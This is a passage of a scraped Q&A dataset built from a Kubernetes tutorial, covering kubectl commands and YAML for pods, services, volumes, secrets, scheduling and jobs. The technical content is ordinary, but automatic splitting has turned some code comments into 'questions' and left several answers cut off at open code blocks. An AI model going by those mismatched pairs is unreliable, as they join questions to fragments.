podannotation.yaml\n```\n\n#### Namespaces\n- Namespaces provides a mechanism for isolating groups of resources within a single cluster. They provide a scope for names. \n- Namespaces cannot be nested inside one another and each Kubernetes resource can only be in one namespace.\n- Kubectl commands run in default namespaces if it is not determined in the command.\n\n![image](https://user-images.githubusercontent.com/10358317/148784384-96681287-e4c4-46e8-b63f-5953270a5b28.png)\n\n```shell\nkubectl get pods --namespaces kube-system  # get all pods in the kube-system namespaces\nkubectl get pods --all-namespaces  # get pods from all namespaces\nkubectl create namespace development  # create new development namespace in imperative way\nkubectl get pods -n development  # get pods from the development namespace\n```\n- In declerative way, it is possible to create namespaces and run pod on the related namespace.\n\n![image](https://user-images.githubusercontent.com/10358317/153675331-ee6ccfb6-b186-4e29-8e85-55adee465a53.png)\n\n```shell\nkubectl apply -f namespace.yaml\nkubectl get pods -n development  #get pods in the development namespace\nkubectl exec -it namespacedpod -n development -- /bin/sh  #run namespacepod in development namespace\n```\n\n- We can avoid to use -n\nfor all command with changing of default namespace  (because, if we don't use -n namespace, kubectl commands run on the default namespace).    \n    \n```shell\nkubectl config set-context --current  --namespace=development  #now default namespace is development\nkubectl get pods     #returns pods in the development namespace  \nkubectl config set-context --current  --namespace=default  #now namespace is default \nkubectl delete namespaces development  #delete development namespace\n```", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238188"}
{"id": "gh_3b5bb1f5c641", "question": "How to: Deployment <a name=\"deployment\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- A Deployment provides declarative updates for Pods and ReplicaSets.\n- We define states in the deployment, deployment controller compares desired state and take necessary actions to keep desire state. \n- Deployment object is the higher level K8s object that controls and keeps state of single or multiple pods automatically.\n- Imperative way:\n\n```shell\nkubectl create deployment firstdeployment --image=nginx:latest --replicas=2 \nkubectl get deployments\nkubectl get pods -w    #on another terminal\nkubectl delete pods\n#we can see another terminal, new pod will be created (to keep 2 replicas)  \nkubectl scale deployments firstdeployment --replicas=5\nkubectl delete deployments firstdeployment\n```\n- Please have a look Scenario (below link) to learn more about the deployment and declarative way of creating deployment.\n\n**Goto the Scenario:** [LAB: K8s Deployment - Scale Up/Down - Bash Connection - Port Forwarding](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Deployment.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238195"}
{"id": "gh_82e9bcc8505b", "question": "How to: Replicaset <a name=\"replicaset\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Deployment object create Replicaset object. Deployment provides the transition of the different replicaset automatically. \n- Replicaset is responsible for the management of replica creation and remove. But, when the pods are updated (e.g. image changed), it can not update replicaset pods. However, deployment can update for all change. So, best practice is to use deployment, not to use replicaset directly.\n- **Important:** It can be possible to create replicaset directly, but we could not use rollout/rollback, undo features with replicaset. Deployment provide to use rollout/rollback, undo features.\n    \n![image](https://user-images.githubusercontent.com/10358317/148804992-8ad27155-1c1e-436f-949e-4aec9a1a9d05.png)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238201"}
{"id": "gh_737cf416f452", "question": "How to: Rollout and Rollback <a name=\"rollout-rollback\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Rollout and Rollback enable to update and return back containers that run under the deployment.\n- 2 strategy for rollout:\n    - **Recreate Strategy:** Delete all pods first and create Pods from scratch. If two different versions of SW affect each other negatively, this strategy could be used.     \n    - **RollingUpdate Strategy (default)**: It updates pods step by step. Pods are updated step by step, all pods are not deleted at the same time.\n        - **maxUnavailable:** At the update duration, it shows the max number of deleted containers (total:10 containers; if maxUn:2, min:8 containers run in that time period)\n        - **maxSurge:** At the update duration, it shows that the max number of containers run on the cluster (total:10 containers; if maxSurge:2, max:12 containers run in a time)\n    \n```shell\nkubectl set image deployment rolldeployment nginx=httpd:alpine --record     # change image of deployment\nkubectl rollout history deployment rolldeployment                           #shows record/history revisions \nkubectl rollout history deployment rolldeployment --revision=2              #select the details of the one of the revisions\nkubectl rollout undo deployment rolldeployment                              #returns back to previous deployment revision\nkubectl rollout undo deployment rolldeployment --to-revision=1              #returns back to the selected revision=1\nkubectl rollout status deployment rolldeployment -w                         #show live status of the rollout deployment\nkubectl rollout pause deployment rolldeployment                             #pause the rollout while updating pods \nkubectl rollout resume deployment rolldeployment                            #resume the rollout if rollout paused\n```\n  \n**Goto the Scenario:** [LAB: K8s Rollout - Rollback](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Rollout-Rollback.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238208"}
{"id": "gh_d509dbd58d66", "question": "How to: Network, Service <a name=\"network-service\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "#### K8s Networking Requirements\n- Each pod has unique and own IP address (Containers within a pod share network namespaces).\n- All PODs can communicate with all other pods without NAT (Network Address Translation)\n- All NODEs can communicate with all pods without NAT.\n- The IP of the POD is same throughout the cluster.\n\n#### CNI (Container Network Interface)\n- Networking of containers and nodes with different vendors and devices is difficult to handle. So K8s give this responsibility to CNI plugins to handle networking requirements. \n- \"CNI (Container Network Interface), a Cloud Native Computing Foundation project, consists of a specification and libraries for writing plugins to configure network interfaces in Linux containers, along with a number of supported plugins.\" => https://github.com/containernetworking/cni \n- K8s has CNI plugins that are selected by the users. Some of the CNI methods are: Flannel, calico, weave, and canal. \n- Calico (https://github.com/projectcalico/calico) is the one of the popular and open source CNI method/plugin in K8s.\n    - Network Management in the cluster: \n        - IP assignments to Pods\n        - IP Table Management\n        - Overlay definition between Nodes without using NAT (e.g. --pod-network-cidr management) \n        - Vxlan Interface implementation and etc. \n    \n#### Service\n- \"An abstract way to expose an application running on a set of Pods as a network service.\n- Kubernetes ServiceTypes allow you to specify what kind of Service you want. The default is ClusterIP.\n- Type values and their behaviors are:\n    - **ClusterIP:** Exposes the Service on a cluster-internal IP. Choosing this value makes the Service only reachable from within the cluster. This is the default ServiceType.\n    - **NodePort:** Exposes the Service on each Node's IP at a static port (the NodePort). A ClusterIP Service, to which the NodePort Service routes, is automatically created. You'll be able to contact the NodePort Service, from outside the cluster, by requesting\n:\n.\n    - **LoadBalancer:** Exposes the Service externally using a cloud provider's load balancer. NodePort and ClusterIP Services, to which the external load balancer routes, are automatically created.\n    - **ExternalName:** Maps the Service to the contents of the externalName field (e.g. foo.bar.example.com), by returning a CNAME record with its value. No proxying of any kind is set up.\" (Ref: Kubernetes.io)\n- Example of Service Object Definition:  (Selector binds service to the related pods, get traffic from port 80 to port 9376) \n```yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: my-service\nspec:\n  selector:\n    app: MyApp\n  ports:\n    - protocol: TCP\n      port: 80\n      targetPort: 9376\n```    \n**Goto the Scenario:** [LAB: K8s Service Implementations (ClusterIp, NodePort and LoadBalancer)](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Service-App.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238218"}
{"id": "gh_b4a7e515933c", "question": "How to: Resource Limit, Environment Variable <a name=\"environmentvariable\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "#### Resource Limit \n- Pods can consume resources (cpu, memory) up to physical resource limits, if there was not any limitation. \n- Pods' used resources can be limited.\n    - use 1 cpu core => cpu = \"1\" = \"1000\" = \"1000m\"    \n    - use 10% of 1 cpu core => cpu = \"0.1\" = \"100\" = \"100m\"    \n    - use 64 MB => memory: \"64M\"\n- CPU resources are exactly limited when it defines. \n- When pod requests memory resource more than limitation, pod changes its status to \"OOMKilled\" and restarts itself to limit memory usage.\n- Example (below), pod requests 64MB memory and 0.25 CPU core, uses maximum 256MB memory and 0.5 CPU core.\n\n![image](https://user-images.githubusercontent.com/10358317/153676383-eb783491-79da-4886-9728-55977b6bbd88.png)\n\n#### Environment Variable\n- Environment Variables can be defined for each pods in the YAML file.\n    \n![image](https://user-images.githubusercontent.com/10358317/153676628-d103de1d-e223-451b-8337-cdfe1cebee66.png)\n    \n**Goto the Scenario:** [LAB: K8s Creating Pod - Declarative Way - Environment Variable](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8-CreatingPod-Declerative.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238234"}
{"id": "gh_c64ec26e95af", "question": "How to: Volume <a name=\"volume\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Ephemeral volume (Temporary volume): Multiple containers reach ephemeral volume in the pod. When the pod is deleted/killed, volume is also deleted. But when container is restarted, volume is still available because pod still runs.\n- There are 2 types of ephemeral volumes:\n    - Emptydir \n    - Hostpath\n        - Directory\n        - DirectoryOrCreate\n        - FileOrCreate\n\n#### Emptydir Volume\n- Emptydir (empty directory on the node) is created on which node the pod is created on and it is mounted on the container using \"volumeMounts\". Multiple containers in the pod can reach this volume (read/write).   \n- Emptydir volume is dependent of Pod Lifecycle. If the pod is deleted, emptydir is also deleted.    \n```yaml\nspec: \n  containers:\n  - name: sidecar\n    image: busybox\n    command: [\"/bin/sh\"]\n    args: [\"-c\", \"sleep 3600\"]\n    volumeMounts:                # volume is mounted under \"volumeMounts\" \n    - name: cache-vol            # \"name\" of the volume type\n      mountPath: /tmp/log        # \"mountPath\" is the path in the container.\n  volumes:\n  - name: cache-vol              \n    emptyDir: {}                 # \"volume\" type \"emptydir\"\n```  \n    \n**Goto the Scenario:** [LAB: K8s Multicontainer - Sidecar - Emptydir Volume - Port-Forwarding](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Multicontainer-Sidecar.md)  \n    \n#### Hostpath Volume\n- It is similar to emtpydir, hostpath is also created on which node the pod is created on. In addition, the hostpath is specifically defined path on the node.\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: hostpath\nspec:\n  containers:\n  - name: hostpathcontainer\n    image: ImageName                  # e.g. nginx\n    volumeMounts:\n    - name: directory-vol             # container connects \"volume\" name    \n      mountPath: /dir1                # on the container which path this volume is mounted\n    - name: dircreate-vol\n      mountPath: /cache               # on the container which path this volume is mounted\n    - name: file-vol\n      mountPath: /cache/config.json   # on the container which file this volume is mounted     \n  volumes:\n  - name: directory-vol               # \"volume\" name\n    hostPath:                         # \"volume\" type \"hostpath\"\n      path: /tmp                      # \"path\" on the node, \"/tmp\" is defined volume\n      type: Directory                 # \"hostpath\" type \"Directory\", existed directory\n  - name: dircreate-vol\n    hostPath:                         # \"volume\" type \"hostpath\"\n      path: /cache                    # \"path\" on the node\n      type: DirectoryOrCreate         # \"hostpath\" type \"DirectoryOrCreate\", if it is not existed, create directory\n  - name: file-vol\n    hostPath:                         # \"volume\" type \"hostpath\"\n      path: /cache/config.json        # \"path\" on the node\n      type: FileOrCreate              # \"hostpath\" type \"FileOrCreate\",  if it is not existed, create file\n```   \n\n![image](https://user-images.githubusercontent.com/10358317/154715083-f5972de0-d95e-47f2-bc6d-92cf7b8a182a.png)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238244"}
{"id": "gh_6f48839d4702", "question": "How to: Secret <a name=\"secret\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Secret objects store the sensitive and secure information like username, password, ssh-tokens, certificates.     \n- Secrets (that you defined) and pods (that you defined) should be in the same namespace (e.g. if defined secret is in the \"default\" namespace, pod should be also in the \"default\" namepace). \n- There are 8 different secret types (basic-auth, tls, ssh-auth, token, service-account-token, dockercfg, dockerconfigjson, opaque). Opaque type is the default one and mostly used.\n- Secrets are called by the pod in 2 different ways: volume and environment variable   \n- Imperative way, run on the terminal (geneneric in the command = opaque): \n\n```shell\nkubectl create secret generic mysecret2 --from-literal=db_server=db.example.com --from-literal=db_username=admin --from-literal=db_password=P@ssw0rd!\n```     \n      \n- Imperative way with file to hide pass in the command history\n    \n```shell\nkubectl create secret generic mysecret3 --from-file=db_server=server.txt --from-file=db_username=username.txt --from-file=db_password=password.txt\n``` \n\n- Imperative way with json file to hide pass in the command history\n\n```shell\nkubectl create secret generic mysecret4 --from-file=config.json\n``` \n    \n**Goto the Scenario:** [LAB: K8s Secret (Declarative and Imperative Way)](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Secret.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238251"}
{"id": "gh_46bb6e891b06", "question": "How to: ConfigMap <a name=\"configmap\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- It is same as \"secrets\". The difference is that configmap does not save sensitive information. It stores config variables.\n- Configmap stores data with key-value pairs.\n- Configmaps are called by the pod in 2 different ways: volume and environment variable    \n- Scenario shows the usage of configmaps.\n    \n**Goto the Scenario:** [LAB: K8s Config Map](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Configmap.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238257"}
{"id": "gh_48e543cc3419", "question": "How to: Node – Pod Affinity <a name=\"node-pod-affinity\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Affinity means closeness, proximity, familarity.\n    \n#### Node Affinity\n- With node affinity, specific pods can enable to run on the desired node (Node selector also supports that feature, but node affinity is more flexible).\n- If node is labelled with key-value, we can run some of the pods on that specific node.\n- **Terms for Node Affinity:**\n    - **requiredDuringSchedulingIgnoredDuringExecution:**  Find a node during scheduling according to \"matchExpression\" and run pod on that node. If it is not found, do not run this pod until finding specific node \"matchExpression\". \n    - **IgnoredDuringExecution:** After scheduling, if the node label is removed/deleted from node, ignore it while executing.\n    - **preferredDuringSchedulingIgnoredDuringExecution:** Find a node during scheduling according to \"matchExpression\" and run pod on that node. If it is not found, run this pod wherever it finds. \n        - **weight:** Preference weight. If weight is more than other weights, this weight is higher priority than others. \n\n- For a better understanding, please have a look [LAB: K8s Node Affinity](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Node-Affinity.md)    \n    \n**Go to the Scenario:** [LAB: K8s Node Affinity](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Node-Affinity.md)    \n    \n#### Pod Affinity \n- Some of the pods should run with other pods on same node or same availability zone (e.g. frontend pods run with cache pod on the same availability zone) \n- If pod affinity is defined for one pod, that pod runs with the related pod on same node or same availability zone.     \n- Each node in the cluster is labelled with default labels.\n    - \"kubernetes.io/hostname\": e.g \"kubernetes.io/hostname=minikube\"\n    - \"kubernetes.io/arch\": e.g \"kubernetes.io/arch=amd64\"\n    - \"kubernetes.io/os\": e.g \"kubernetes.io/os=linux\"\n- Each node in the cluster that runs on the Cloud is labelled with following labels.\n    - \"topology.kubernetes.io/region\": e.g. \"topology.kubernetes.io/region=northeurope\"\n    - \"topology.kubernetes.io/zone\": e.g. \"topology.kubernetes.io/zone=northeurope-1\"\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: frontendpod\n  labels:\n    app: frontend                                     # defined labels\n    deployment: test                      \nspec:\n  containers:\n  - name: nginx\n    image: nginx:latest\n    ports:\n    - containerPort: 80\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: cachepod\nspec:\n  affinity:\n    podAffinity:\n      requiredDuringSchedulingIgnoredDuringExecution:    # required: if not found, not run this pod on any node\n      - labelSelector:\n          matchExpressions:\n          - key: app\n            operator: In\n            values:\n            - frontend\n        topologyKey: kubernetes.io/hostname               # run this pod with the POD which includes \"app=frontend\" on the same worker NODE  \n      preferredDuringSchedulingIgnoredDuringExecution:    # preferred: if not found, run this pod on any node\n      - weight: 1\n        podAffinityTerm:\n          labelSelector:\n            matchExpressions:\n            - key: branch\n              operator: In\n              values:\n              - develop\n          topologyKey: topology.kubernetes.io/zone         # run this pod with the POD which includes \"branch=develop\" on the any NODE in the same ZONE \n    podAntiAffinity:                                       # anti-affinity: NOT run this pod with the following match \"\"\n      preferredDuringSchedulingIgnoredDuringExecution:\n      - weight: 100\n        podAffinityTerm:\n          labelSelector:\n            matchExpressions:\n            - key: deployment\n              operator: In\n              values:\n              - prod\n          topologyKey: topology.kubernetes.io/zone         # NOT run this pod with the POD which includes \"deployment=prod\" on the any NODE in the same ZONE   \n  containers:\n  - name: cachecontainer                                   # cache image and container name\n    image: redis:6-alpine\n```\n    \n![image](https://user-images.githubusercontent.com/10358317/154729871-1294d423-1429-4a00-9d2b-78cfcdace18a.png)\n\n![image](https://user-images.githubusercontent.com/10358317/154730052-19e96985-1452-4d93-9fc3-d70ea06ceb8a.png)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238278"}
{"id": "gh_fa0b001a1b44", "question": "How to: Taint and Toleration <a name=\"taint-tolereation\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Node affinity is a property of Pods that attracts/accepts them to a set of nodes. Taints are the opposite, they allow a node to repel/reject a set of pods.\n- TAINTs are assigned to the NODEs. TOLERATIONs assigned to the PODs\n    - \"kubectl describe nodes minikube\", at taints section, it can be seen taints. \n    - To add taint to the node with commmand: \"kubectl taint node minikube app=production:NoSchedule\"\n    - To delete taint to the node with commmand: \"kubectl taint node minikube app-\"\n- If pod has not any toleration for related taint, it can not be started on the tainted node (status of pod remains pending)\n- Taint Types:\n    - **key1=value1:effect**: (e.g.\"kubectl taint node minikube app=production:NoSchedule\")\n- Taint \"effect\" types:\n    - **NoSchedule:** If pod is not tolerated with this effect, it can not run on the related node (status will be pending, until toleration/untaint)\n    - **PreferNoSchedule:** If pod is not tolerated with this effect and if there is not any untainted node, it can run on the related node. \n    - **NoExecute:** If pod is not tolerated with this effect, it can not run on the related node. If there are pods running on the node before assigning \"NoExecute\" taint, after tainting \"NoExecute\", untolerated pods stopped on this node. \n- For clarification, please have a look [LAB: K8s Taint Toleration](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Taint-Toleration.md)   \n    \n**Goto the Scenario:** [LAB: K8s Taint-Toleration](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Taint-Toleration.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238287"}
{"id": "gh_d2f91bcdc3e3", "question": "How to: Deamon Set <a name=\"daemon-set\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- It provides to run pods on EACH nodes. It can be configured to run only specific nodes.\n- For example, you can run log application that runs on each node in the cluster and app sends these logs to the main log server. Manual configuration of each nodes could be headache in this sceneario, so using deamon sets would be beneficial to save time and effort.\n- If the new nodes are added on the cluster and running deamon sets on the cluster at that time period, default pods which are defined on deamon sets also run on the new nodes without any action. \n    \n**Goto the scenario:** [LAB: K8s Daemonset - Creating 3 nodes on Minikube](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Daemon-Sets.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238293"}
{"id": "gh_f850864e424f", "question": "How to: Persistent Volume and Persistent Volume Claim <a name=\"pvc\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Volumes are ephemeral/temporary area that stores data. Emptydir and hostpath create volume on node which runs related pod.\n- In the scenario of creating Mysql pod on cluster, we can not use emptydir and hostpath for long term. Because they don't provide the long term/persistent volume. \n- Persistent volume provides long term storage area that runs out of the cluster.\n- There are many storage solutions that can be enabled on the cluster: nfs, iscsi, azure disk, aws ebs, google pd, cephfs. \n- Container Storage Interface (CSI) provides the connection of K8s cluster and different storage solution. \n\n#### Persistent Volume \n- \"accessModes\" types:\n    - \"ReadWriteOnce\": read/write for only 1 node.\n    - \"ReadOnlyMany\" : only read for many nodes.\n    - \"ReadWriteMany\": read/write for many nodes.\n- \"persistentVolumeReclaimPolicy\" types: it defines the behaviour of volume after the end of using volume.\n    - \"Retain\" : volume remains with all data after using it.\n    - \"Recycle\": volume is not deleted but all data in the volume is deleted. We get empty volume if it is chosen.\n    - \"Delete\" : volume is deleted after using it.\n\n```yaml", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238300"}
{"id": "gh_4d939d643d7c", "question": "How to: Creating Persistent Volume on NFS Server on the network", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "apiVersion: v1                               \nkind: PersistentVolume\nmetadata:\n   name: mysqlpv\n   labels:\n     app: mysql                                # labelled PV with \"mysql\"\nspec:\n  capacity:\n    storage: 5Gi                               # 5Gibibyte = power of 2; 5GB= power of 10\n  accessModes:\n    - ReadWriteOnce\n  persistentVolumeReclaimPolicy: Recycle       # volume is not deleted, all data in the volume will be deleted.\n  nfs:\n    path: /tmp                                 # binds the path on the NFS Server\n    server: 10.255.255.10                      # IP of NFS Server\n``` \n\n![image](https://user-images.githubusercontent.com/10358317/154734368-323af0cc-e745-4aa0-b844-65b4a410426d.png)\n    \n#### Persistent Volume Claim (PVC)  \n- We should create PVCs to use volume. With PVCs, existed PVs can be chosen.\n- The reason why K8s manage volume with 2 files (PVC and PV) is to seperate the management of K8s Cluster (PV) and using of volume (PVC).\n- If there is seperate role of system management of K8s cluster, system manager creates PV (to connect different storage vendors), developers only use existed PVs with PVCs.    \n\n```yaml\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: mysqlclaim\nspec:\n  accessModes:\n    - ReadWriteOnce\n  volumeMode: Filesystem                    # VolumeMode\n  resources:\n    requests:\n      storage: 5Gi\n  storageClassName: \"\"\n  selector:\n    matchLabels:                          \n      app: mysql                            # choose/select \"mysql\" PV that is defined above.\n ```\n\n![image](https://user-images.githubusercontent.com/10358317/154735404-80221355-1493-4043-ba7a-8c7a4ddc8df0.png)\n \n**Goto the scenario:** [LAB: K8s Persistant Volume and Persistant Volume Claim](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-PersistantVolume.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238309"}
{"id": "gh_1b24d077280d", "question": "How to: Storage Class <a name=\"storageclass\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Creating volume with PV is manual way of creating volume. With storage classes, it can be automated. \n- Cloud providers provide storage classes on their infrastructure.\n- When pod/deployment is created, storage class is triggered to create PV automatically (Trigger order: Pod -> PVC -> Storage Class -> PV). \n\n```yaml", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238315"}
{"id": "gh_fc17a4a8cb7d", "question": "How to: Storage Class Creation on Azure", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "apiVersion: storage.k8s.io/v1\nkind: StorageClass\nmetadata:\n  name: standarddisk\nparameters:\n  cachingmode: ReadOnly\n  kind: Managed\n  storageaccounttype: StandardSSD_LRS\nprovisioner: kubernetes.io/azure-disk\nreclaimPolicy: Delete\nvolumeBindingMode: WaitForFirstConsumer    \n```\n    \n- \"storageClassName\" is added into PVC file.\n\n```yaml\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: mysqlclaim\nspec:\n  accessModes:\n    - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 5Gi\n  storageClassName: \"standarddisk\"               # selects/binds to storage class (defined above)\n```    \n- When deployment/pod request PVC (claim), storage class provides volume on the infrastructure automatically.", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238322"}
{"id": "gh_c518097de9f7", "question": "How to: Stateful Set <a name=\"statefulset\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "- Pods/Deployments are stateless objects. Stateful set provides to run stateful apps.\n- Differences between Deployment and Statefulset:\n    - Name of the pods in the statefulset are not assigned randomly. It gives name statefulsetName_0,1,2,3.\n    - Pods in the statefulset are not created at the same time. Pods are created in order (new pod creation waits until previous pod's running status).\n    - When scaling down of statefulset, pods are not deleted in random. Pods are deleted in reverse order.\n    - If PVC is defined in the statefulset, each pod in the statefulset has own PV\n\n**Goto the scenario:** [LAB: K8s Stateful Sets - Nginx](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Statefulset.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238328"}
{"id": "gh_4acd1849e2a6", "question": "How to: Job, CronJob <a name=\"job\"></a>", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "#### Job Object \n- \"A Job creates one or more Pods and will continue to retry execution of the Pods until a specified number of them successfully terminate\". If the container is not successfully completed, it will recreated again.  \n- \"When a specified number of successful completions is reached, the task (ie, Job) is complete.\"\n- After finishing a job, pods are not deleted. Logs in the pods can be viewed.\n- Job is used for the task that runs once (e.g. maintanence scripts, scripts that are used for creating DB)\n- Job is also used for processing tasks that are stored in queue or bucket. \n\n```yaml\nspec:\n  parallelism: 2               # each step how many pods start in parallel at a time\n  completions: 10              # number of pods that run and complete job at the end of the time\n  backoffLimit: 5              # to tolerate fail number of job, after 5 times of failure, not try to continue job, fail the job\n  activeDeadlineSeconds: 100   # if this job is not completed in 100 seconds, fail the job\n```  \n    \n![image](https://user-images.githubusercontent.com/10358317/154946885-80e87f3c-5120-4c09-bde2-a35cd09a7383.png)    \n    \n**Goto the scenario:** [LAB: K8s Job](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-Job.md)\n    \n#### Cron Job Object\n- Cron job is a scheduled job that can be started in scheduled time.\n\n```", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238335"}
{"id": "gh_d2e81be3e2e4", "question": "How to: \"/\" means \"repetitive\"", "question_body": "About omerbsezer/Fast-Kubernetes", "answer": "``` \n  \n```yaml\nspec:\n  schedule: \"*/1 * * * *\"                        # At every 1st minute: 00:01 - 00:02 ...\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n          - name: hello\n            image: busybox\n            imagePullPolicy: IfNotPresent\n            command:                             # start shell and echo  \n            - /bin/sh\n            - -c\n            - date; echo Hello from the Kubernetes cluster \n          restartPolicy: OnFailure\n``` \n\n![image](https://user-images.githubusercontent.com/10358317/154948618-8b71bf38-62a7-44de-bdd2-ac40a1709eb4.png)\n    \n**Go to the scenario:** [LAB: K8s Cron Job](https://github.com/omerbsezer/Fast-Kubernetes/blob/main/K8s-CronJob.md)", "tags": ["omerbsezer"], "source": "github_gists", "category": "omerbsezer", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2702, "answer_score": 10, "has_code": true, "url": "https://github.com/omerbsezer/Fast-Kubernetes", "collected_at": "2026-01-17T12:53:25.238347"}
